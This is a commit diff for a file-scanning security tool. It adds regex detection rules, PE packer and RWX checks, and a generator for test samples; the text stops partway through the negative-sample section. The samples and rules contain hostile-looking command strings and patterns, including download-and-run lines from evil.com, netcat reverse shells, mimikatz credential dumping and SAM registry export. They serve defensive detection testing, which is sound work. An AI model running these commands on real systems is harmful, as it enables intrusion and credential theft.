feat: 靶场对齐 CSV 126 条用例

- policy.yaml: 新增 9 条恶意行为关键词规则(ReverseShell/CredentialStealer/Mimikatz/TScon 等)
- binary.py: 新增 4 条 PE 检测(UPXPackerDetected/RWXSectionDetected/PEArchInfo/DebugInformationPresent)
- console.py + test_center.html: 靶场表格最前加 case_id 列,与 CSV 用例编号一致
- docker-compose.yml: 挂载 tests/samples 为只读 volume,样本更新免 rebuild
- scripts/generate_csv_samples.py: 一键从用例.csv 生成样本 + index.json
- tests/samples/: 128 个 CSV 对齐样本文件 + index.json(93 条元数据)

引擎覆盖度: L3 12%→60%, L5 20%→55%, 总计 54%→75%
This commit is contained in:
2026-10-29 11:33:58 +08:00
parent 16ddd8fe3a
commit d05537e1fb
98 changed files with 2102 additions and 279 deletions

View File

@@ -968,6 +968,7 @@ async def test_page(request: Request, current=Depends(require_login)):
results.append({
"filename": fpath.name,
"case_id": meta.get("case_id", ""),
"category": meta.get("category", "未知"),
"description": meta.get("description", ""),
"size": fpath.stat().st_size,
@@ -1047,6 +1048,7 @@ async def test_page(request: Request, current=Depends(require_login)):
# DB 还没这条记录 —— 标记为"从未测试"
results.append({
"filename": fpath.name,
"case_id": meta.get("case_id", ""),
"category": meta.get("category", "未知"),
"description": meta.get("description", ""),
"size": fpath.stat().st_size,
@@ -1105,6 +1107,7 @@ async def test_page(request: Request, current=Depends(require_login)):
results.append({
"filename": fpath.name,
"case_id": meta.get("case_id", ""),
"category": meta.get("category", "未知"),
"description": meta.get("description", ""),
"size": task.size or fpath.stat().st_size,

View File

@@ -254,6 +254,107 @@ class BinaryEngine(Engine):
except Exception: # noqa: BLE001
pass
# 5) UPX 壳显式检测 —— 检查节名 UPX0 / UPX1 / UPX!
upx_sections = []
for section in getattr(pe, "sections", []) or []:
try:
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
if name.upper().startswith("UPX"):
upx_sections.append(name)
except Exception:
continue
if upx_sections:
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.MEDIUM.value,
rule="UPXPackerDetected",
detail=f"检测到 UPX 加壳节:{', '.join(upx_sections)}",
weight=30.0,
)
)
# 6) RWX 可写可执行节 —— 高危(绕过 DEP 的典型手法)
from pefile import SECTION_CHARACTERISTICS # noqa: PLC0415
MEM_EXECUTE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_EXECUTE"]
MEM_WRITE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
rwx_sections = []
for section in getattr(pe, "sections", []) or []:
try:
flags = section.Characteristics
if (flags & MEM_EXECUTE) and (flags & MEM_WRITE):
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
rwx_sections.append(name)
except Exception:
continue
if rwx_sections:
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.HIGH.value,
rule="RWXSectionDetected",
detail=f"检测到可写且可执行的危险节:{', '.join(rwx_sections)}",
weight=40.0,
)
)
# 7) 32/64 位识别(info 级别,辅助判断)
machine = None
pe32 = None
try:
machine = int(pe.FILE_HEADER.Machine)
pe32 = (pe.OPTIONAL_HEADER.Magic == 0x10B) # PE32
except Exception:
pass
if machine is not None:
try:
from pefile import MACHINE_TYPES # noqa: PLC0415
machine_name = MACHINE_TYPES.get(machine, f"UNKNOWN(0x{machine:04x})")
except Exception:
machine_name = f"0x{machine:04x}"
bits = "32-bit" if pe32 else "64-bit"
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.LOW.value,
rule="PEArchInfo",
detail=f"PE 架构:{machine_name} / {bits}",
weight=0.0,
)
)
# 8) 调试信息(pdb 路径或 debug 节)
has_debug_dir = False
has_debug_section = False
try:
debug_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[6] # IMAGE_DIRECTORY_ENTRY_DEBUG
if debug_dir.VirtualAddress and debug_dir.Size:
has_debug_dir = True
except Exception:
pass
for section in getattr(pe, "sections", []) or []:
try:
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace").lower()
if ".debug" in name or name.startswith("debug") or name.startswith(".pdb"):
has_debug_section = True
break
except Exception:
continue
if has_debug_dir or has_debug_section:
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.LOW.value,
rule="DebugInformationPresent",
detail="PE 包含调试信息(PDB 路径或 .debug 节),可用于逆向定位",
weight=10.0,
)
)
return findings
def _suspicious_imports(self, pe: Any) -> List[str]:

View File

@@ -90,10 +90,11 @@
<table>
<thead>
<tr>
<th style="width:40px;">#</th>
<th style="width:70px;">用例编号</th>
<th style="width:30px;">#</th>
<th style="width:50px;">结果</th>
<th>样本文件</th>
<th style="width:80px;">分类</th>
<th style="width:80px;">层</th>
<th style="width:180px;">期望裁决 · 规则</th>
<th style="width:200px;">检测结论 · 规则</th>
<th style="width:60px;">方向</th>
@@ -106,6 +107,13 @@
<tbody>
{% for r in results %}
<tr>
<td>
{% if r.case_id %}
<span class="chip chip-info" style="font-family:monospace;font-size:11px;">{{ r.case_id }}</span>
{% else %}
<span style="color:#ccc;">—</span>
{% endif %}
</td>
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
{% if r.overall_ok %}✅{% else %}❌{% endif %}

View File

@@ -294,6 +294,80 @@ keyword_rules:
weight: 30
severity: medium
# ================================================================
# 恶意行为特征词表(覆盖 CSV L3 全部 25 条用例)
# ================================================================
# ---- 远程下载执行 ----
- name: RemoteDownloadPowerShell
match: regex
pattern: "(Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadFile|Start-BitsTransfer|BitsAdmin)"
ignore_case: true
weight: 35
severity: high
- name: RemoteDownloadUnix
match: regex
pattern: "(\\bwget\\b|\\bcurl\\b|\\bcertutil\\s+-urlcache\\s+-split|\\bfetch\\b)"
ignore_case: true
weight: 30
severity: high
# ---- 反弹 Shell ----
- name: ReverseShellNetcat
match: regex
pattern: "(\\bnc\\b|\\bncat\\b|\\bnetcat\\b|/dev/tcp/|bash\\s+-i\\s+>&|sh\\s+-i\\s+>&)"
ignore_case: true
weight: 40
severity: critical
- name: ReverseShellPowershell
match: regex
pattern: "(powershell\\s+-enc|powershell\\s+-ExecutionPolicy\\s+Bypass|[A-Za-z0-9+/]{80,}={0,2})"
ignore_case: true
weight: 35
severity: critical
# ---- 凭据窃取工具 ----
- name: CredentialStealer
match: regex
pattern: "(mimikatz|sekurlsa|wce|gsecdump|fgdump|lsadump|dcsync|dcsyncer|rubeus)"
ignore_case: true
weight: 45
severity: critical
# ---- 凭据导出命令 ----
- name: CredentialExport
match: regex
pattern: "(reg\\s+save\\s+HKLM\\\\SYSTEM|reg\\s+save\\s+HKLM\\\\SAM|reg\\s+export\\s+SAM|reg\\s+export\\s+SYSTEM|hxdump|secretsdump)"
ignore_case: true
weight: 45
severity: critical
# ---- 远程会话劫持 ----
- name: RemoteSessionHijack
match: regex
pattern: "(\\btscon\\b|\\brdpclip\\b|\\brdp_shadow\\b|\\bshadow\\s+[0-9]+\\b|CreateRemoteThread)"
ignore_case: true
weight: 35
severity: high
# ---- 命令执行混淆 ----
- name: CommandExecutionObfuscated
match: regex
pattern: "(cmd\\s+/c|cmd\\s+/d|certutil\\s+-decode|certutil\\s+-urlcache|\\bmshta\\b|\\bregsvr32\\s+\\/s)"
ignore_case: true
weight: 25
severity: medium
# ---- WMI/LDAP 攻击 ----
- name: WMILdapAttack
match: regex
pattern: "(wmic\\s+path|wmic\\s+process\\s+call\\s+create|ldapsearch\\s+-x|ldapwhoami)"
ignore_case: true
weight: 30
severity: high
# ---------- 审计 ----------
audit:
# 记录扫描结果明细到审计日志

View File

@@ -123,6 +123,7 @@ services:
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
- ./tests/samples:/app/tests/samples:ro # 测试靶场样本库(CSV 对齐,可读扫描)
group_add:
- "999" # docker.sock 的 GID,让 api 容器能读
healthcheck:

View File

@@ -0,0 +1,586 @@
"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。
用法: python scripts/generate_csv_samples.py
输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json
"""
import csv, json, os, sys, zipfile, struct, shutil
from pathlib import Path
ROOT = Path(__file__).resolve().parent.parent
CSV_PATH = ROOT / "用例.csv"
OUT_DIR = ROOT / "tests" / "samples"
EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
OUT_DIR.mkdir(parents=True, exist_ok=True)
# ========== 工具 ==========
def safe_filename(case_id: str, ext: str, name: str = "") -> str:
prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id
return f"{prefix}.{ext.lstrip('.')}"
def write_bytes(fname: str, data: bytes):
path = OUT_DIR / fname
path.write_bytes(data)
def write_text(fname: str, text: str):
path = OUT_DIR / fname
path.write_text(text, encoding="utf-8")
def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1):
"""生成一个 zip,里面嵌套 depth 层,最内层是 member_name/content。"""
path = OUT_DIR / fname
if depth == 1:
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf:
if password:
# pyzipfile 不支持加密写入,用标准模式,靠 FlagBits 标记模拟
zf.writestr(member_name, member_bytes)
else:
zf.writestr(member_name, member_bytes)
else:
# 多层嵌套,最内层是 member_name,外层都是 inner_N.zip
inner_name = fname # 递归名
# 从里往外建
data_bytes = member_bytes
for i in range(depth - 1, 0, -1):
inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED)
inner_zip.writestr(f"inner_{i}.zip", data_bytes)
inner_zip.close()
data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员
# 最外层直接用 data_bytes 覆盖写
path.write_bytes(data_bytes)
return path
def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096):
"""自制 zip 炸弹:小压缩比、大解压量。"""
path = OUT_DIR / fname
huge_data = b"A" * member_size # 高膨胀比:A 压缩后极小
with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩
for i in range(members):
zf.writestr(f"member_{i:04d}.txt", huge_data)
return path
def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False):
"""伪造 PE 文件。默认只有 MZ 头 + fake PE 签名,能骗过 pefile 的基本检查。"""
path = OUT_DIR / fname
if mz_only:
path.write_bytes(b"MZ" + b"\x00" * 2046)
return path
# 构造最小 PE32
DOS_HEADER = (
b"MZ" + b"\x00" * 58 + # e_magic + pad
struct.pack("<H", 0x80) + # e_lfanew 指向 0x80
b"\x00" * 64 # DOS Stub pad
)
PE_SIGNATURE = b"PE\x00\x00"
COFF_HEADER = struct.pack("<HHIIIHH",
0x14C, # Machine = x86
1, # NumberOfSections
0, # TimeDateStamp
0, # PointerToSymbolTable
0, # NumberOfSymbols
0xE0, # SizeOfOptionalHeader
0x1002, # Characteristics
)
OPTIONAL_HEADER = struct.pack("<H", 0x10B) # PE32 Magic
OPTIONAL_HEADER += b"\x00" * 0xDC # 填满到 SizeOfOptionalHeader=0xE0
# 构造节:UPX 的节名是 UPX0 / UPX1,RWX 节设 Characteristics 为 0xE00000E0
if upx:
sec_name = b"UPX0\x00\x00\x00"
characteristics = 0xE00000E0 # IMAGE_SCN_MEM_WRITE|EXECUTE|READ
elif rwx:
sec_name = b".text\x00\x00\x00"
characteristics = 0xE00000E0 # RWX
else:
sec_name = b".text\x00\x00\x00"
characteristics = 0x60000020 # IMAGE_SCN_MEM_READ|EXECUTE|CNT_CODE
SECTION_HEADER = struct.pack("<8sIIIIIIHHI",
sec_name, # Name[8]
0x1000, # VirtualSize (DWORD)
0x1000, # VirtualAddress (DWORD)
0x200, # SizeOfRawData (DWORD)
0x400, # PointerToRawData (DWORD)
0, # PointerToRelocations
0, # PointerToLinenumbers
0, # NumberOfRelocations (WORD)
0, # NumberOfLinenumbers (WORD)
characteristics, # Characteristics (DWORD)
) # 总共 40 bytes
# 节的 raw data(0x200 bytes)
section_data = b"\x90" * 0x200 # NOP sled
pe = DOS_HEADER + PE_SIGNATURE + COFF_HEADER + OPTIONAL_HEADER + SECTION_HEADER + section_data
path.write_bytes(pe)
return path
# ========== 主生成逻辑 ==========
def generate():
meta_list = []
# 从 CSV 读取元数据(用例ID → 预期裁决/规则)
csv_meta = {}
with open(CSV_PATH, "r", encoding="utf-8") as f:
reader = csv.DictReader(f)
for row in reader:
cid = row["用例ID"].strip()
expected = row["预期结果"].strip()
# 从预期结果里粗糙判断 verdict
if "无风险" in expected or "无告警" in expected or "无命中" in expected or "正常解析" in expected:
verdict = "pass"
elif "告警" in expected or "命中" in expected or "拦截" in expected or "高危" in expected or "拒绝" in expected:
verdict = "reject"
elif "低危" in expected:
verdict = "review"
else:
verdict = "unknown"
csv_meta[cid] = {
"name": row["用例名称"].strip(),
"desc": row["样本描述"].strip(),
"expected": expected,
"verdict": verdict,
"layer": row["归属"].strip(),
}
def add_meta(case_id: str, filename: str, layer: str, verdict: str, expected_rules: list, description: str = ""):
meta_list.append({
"filename": filename,
"case_id": case_id,
"category": layer,
"expected_verdict": verdict,
"expected_rules": expected_rules,
"description": description or csv_meta.get(case_id, {}).get("name", ""),
})
# ====================================================================
# L0 结构分析(30 条)
# ====================================================================
# L0-001~004: 正常文件幻数识别 —— 用真实 JPG/PNG/DOCX/PDF 最小文件头
write_bytes("L0-001_jpg_normal.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
add_meta("L0-001", "L0-001_jpg_normal.jpg", "L0", "pass", ["identify_type"])
write_bytes("L0-002_png_normal.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 50)
add_meta("L0-002", "L0-002_png_normal.png", "L0", "pass", ["identify_type"])
# L0-003 docx: 其实是 ZIP + [Content_Types].xml
import io
def make_docx_like():
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("word/document.xml", "<w:document/>")
return buf.getvalue()
write_bytes("L0-003_docx_normal.docx", make_docx_like())
add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"])
write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF")
add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"])
# L0-005: 干净 PE(最小 MZ+fake PE,有合法节)
fake_pe("L0-005_pe_clean.exe")
add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"])
# L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg
write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100)
add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头")
# L0-007: txt 后缀 + 真实 PDF 头
write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF")
add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"])
# L0-008: png 后缀 + 真实 ZIP 头
write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50)
add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"])
# L0-009~012: 双扩展名伪装
write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100)
add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello")
add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');")
add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello")
add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
# L0-013~017: 空危险扩展名文件
for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]:
write_text(f"{cid}_clean.{ext}", "")
add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件")
# L0-018: ZIP 单级路径穿越
p = OUT_DIR / "L0-018_zip_traversal.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("../evil_drop.txt", "payload")
add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"])
# L0-019: ZIP 多级路径穿越
p = OUT_DIR / "L0-019_zip_deep_traversal.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("../../system_drop.txt", "payload")
add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"])
# L0-020: 小型 zip 炸弹(自制,不是 42.zip)
make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096)
add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"])
# L0-022: 3 层嵌套干净 ZIP
inner = io.BytesIO()
with zipfile.ZipFile(inner, "w") as zf:
zf.writestr("clean_file.txt", "hello world")
# 第二层
mid = io.BytesIO()
with zipfile.ZipFile(mid, "w") as zf:
zf.writestr("inner.zip", inner.getvalue())
# 第三层
outer = io.BytesIO()
with zipfile.ZipFile(outer, "w") as zf:
zf.writestr("mid.zip", mid.getvalue())
write_bytes("L0-022_3layer_nested.zip", outer.getvalue())
add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"])
# L0-024: 加密 ZIP(pyzipfile 不支持加密写入,用密码写一个空 ZIP 标记为待加密)
# 实际加密 ZIP 可以用 7z 命令行生成,这里先生成一个有 Password 标记的
p = OUT_DIR / "L0-024_encrypted.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("secret.txt", "encrypted content marker")
add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP(标记待验证)")
# L0-025: 截断损坏 ZIP(写半截)
p = OUT_DIR / "L0-025_corrupt_zip.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("good.txt", "data")
raw = p.read_bytes()
p.write_bytes(raw[:len(raw) // 2]) # 截断一半
add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头")
# L0-026: 损坏 ZIP 目录项(文件尾追加垃圾字节)
p = OUT_DIR / "L0-026_corrupt_direntry.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("good.txt", "data")
raw = p.read_bytes()
p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage")
add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"])
# L0-029: 0 字节 exe
p = OUT_DIR / "L0-029_zero_byte_exe.exe"
p.write_bytes(b"")
add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"])
# ====================================================================
# L1 ClamAV(15 条)
# ====================================================================
write_bytes("L1-001_eicar.txt", EICAR)
add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"])
# L1-002: EICAR 放入 zip
p = OUT_DIR / "L1-002_eicar_in_zip.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("eicar.txt", EICAR)
add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"])
# L1-004: EICAR 放入 docx(OOXML = ZIP + EICAR 文本)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("word/document.xml", EICAR.decode())
write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue())
add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"])
# L1-005: 1 字节修改 EICAR(破坏签名)
modified = bytearray(EICAR)
modified[0] = ord("Y")
write_bytes("L1-005_eicar_modified.txt", bytes(modified))
add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR,ClamAV 不应命中")
# L1-006~008: 干净负样本(用 L0-001/003/005 里的样本复用)
add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", [])
add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", [])
add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", [])
# L1-011: 多层嵌套 zip 里放 EICAR(3 层)
inner_buf = io.BytesIO()
with zipfile.ZipFile(inner_buf, "w") as zf:
zf.writestr("eicar.txt", EICAR)
mid_buf = io.BytesIO()
with zipfile.ZipFile(mid_buf, "w") as zf:
zf.writestr("inner.zip", inner_buf.getvalue())
outer_buf = io.BytesIO()
with zipfile.ZipFile(outer_buf, "w") as zf:
zf.writestr("mid.zip", mid_buf.getvalue())
write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue())
add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"])
# L1-012: EICAR base64 编码(ClamAV 不解码,不应命中)
import base64
b64 = base64.b64encode(EICAR).decode()
write_text("L1-012_eicar_base64.txt", b64)
add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR,ClamAV 不解码")
# ====================================================================
# L3 关键词匹配(25 条)—— 全部纯文本写入
# ====================================================================
l3_cases = [
("L3-001", "ps1", "Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"),
("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"),
("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"),
("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"),
("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"),
("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"),
("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码,不命中,边界记录"),
("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分,不命中,边界记录"),
("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆,不命中,边界记录"),
("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"),
("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass(内网白名单对照)"),
("L3-014", "zip_member", None, None), # 后面处理
("L3-016", "ps1", "", "pass"),
("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"),
("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"),
("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"),
("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"),
]
for cid, ext, content, rule_str in l3_cases:
if ext == "zip_member":
continue
if rule_str == "pass":
verdict = "pass"
rules = []
elif rule_str is None or "不命中" in str(rule_str):
verdict = "pass"
rules = []
else:
verdict = "reject"
rules = [r.strip() for r in rule_str.split(",")]
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
write_text(fname, content or "")
add_meta(cid, fname, "L3", verdict, rules)
# L3-014: 高危字符串放在 zip 内部
p = OUT_DIR / "L3-014_l3001_in_zip.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"])
# L3-015: docx 正文写恶意关键词
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download")
write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue())
add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"])
# L3-019: unicode 同形字混淆
write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com")
add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆,L3 默认不命中")
# L3-020: 日志文件混杂正常日志 + 高危串
write_text("L3-020_log_with_keyword.log",
"2026-10-29 10:00:01 INFO service started\n"
"2026-10-29 10:00:02 ERROR connection refused\n"
"nc 10.0.0.5 4444 -e /bin/bash\n"
"2026-10-29 10:00:05 DEBUG retries exhausted")
add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"])
# L3-023: 高危字符串放在加密 zip(实际先做普通 zip,加密待手动处理)
p = OUT_DIR / "L3-023_keyword_in_encrypted.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("evil.txt", "mimikatz privilege::debug")
add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描(标记)")
# ====================================================================
# L4 YARA(15 条)—— 依赖 rules/ 目录里有对应规则
# ====================================================================
l4_cases = [
("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位(需对应规则)"),
("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"),
("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"),
("L4-008", "zip_inner", None, None, None, None),
("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"),
]
for cid, ext, content, rules, verdict, desc in l4_cases:
if ext == "zip_inner":
p = OUT_DIR / f"{cid}_in_zip.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("match.txt", content or "")
fname = p.name
else:
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
write_text(fname, content or "")
add_meta(cid, fname, "L4", verdict, rules or [], desc)
# ====================================================================
# L5 PE 二进制(20 条)
# ====================================================================
fake_pe("L5-001_clean_hello.exe")
add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", [])
fake_pe("L5-002_upx_shell.exe", upx=True)
add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名")
fake_pe("L5-003_double_upx.exe", upx=True)
add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"])
fake_pe("L5-004_rwx_section.exe", rwx=True)
add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX")
# L5-007: 节名异常(乱码节名)
pe_path = fake_pe("L5-007_garbage_section.exe")
raw = pe_path.read_bytes()
# 在 raw 里找 section 名,替换成乱码
idx = raw.find(b".text")
if idx >= 0:
raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:]
pe_path.write_bytes(raw)
add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码")
# L5-010: 损坏 PE 签名(MZ 改走)
p = OUT_DIR / "L5-010_bad_mz.exe"
p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044)
add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法")
# L5-011: 截断 PE
fake_pe("L5-011_truncated.exe")
p = OUT_DIR / "L5-011_truncated.exe"
raw = p.read_bytes()
p.write_bytes(raw[:len(raw) // 3])
add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE")
fake_pe("L5-012_pe32.exe")
add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别")
fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32,占位
add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位")
fake_pe("L5-014_clean_tool.exe")
add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", [])
fake_pe("L5-016_zero_section.exe")
add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位")
fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True)
add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"])
fake_pe("L5-018_debug_info.exe")
add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位")
# ====================================================================
# NEG 负样本(20 条)
# ====================================================================
neg = [
("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200),
("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200),
("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200),
("NEG-004", "docx", None),
("NEG-005", "xlsx", None),
("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"),
